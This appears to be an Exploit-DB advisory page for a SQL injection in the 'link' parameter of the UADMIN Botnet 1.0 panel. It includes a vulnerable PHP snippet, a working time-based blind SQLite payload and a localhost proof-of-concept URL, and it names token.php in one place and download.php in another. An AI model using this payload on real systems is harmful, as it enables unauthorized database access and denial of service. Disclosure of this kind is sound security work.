UADMIN Botnet 1.0 - 'link' SQL Injection

vendor:

UADMIN Botnet 1.0

by:

n4pst3r

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: UADMIN Botnet 1.0

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10, Kali

2020

UADMIN Botnet 1.0 – ‘link’ SQL Injection

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'link' parameter to the '/ush/gates/token.php' script. A remote attacker can execute arbitrary SQL commands in the application's database, cause denial of service, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL server software.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. All input data should be carefully verified before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: UADMIN Botnet 1.0 - 'link' SQL Injection
# Google Dork: n/a
# Date: 2020-03-16
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: unkn0wn
# Version: unkn0wn
# Tested on: Windows 10, Kali
# CVE : n/a
################################
# Vuln-Code: download.php

$link=$_GET['link'];
$agent=esc__($_SERVER['HTTP_USER_AGENT']);

if(isset($_GET['botid'])){
    $botid=esc__($_GET['botid']);
}else{
	$botid='unknown';
};

################################
Attack Response & PoC:

---
Parameter: link (GET)
    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: link=1' OR 7990=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- nwGY
---

http://127.0.0.1/ush/gates/token.php?link=1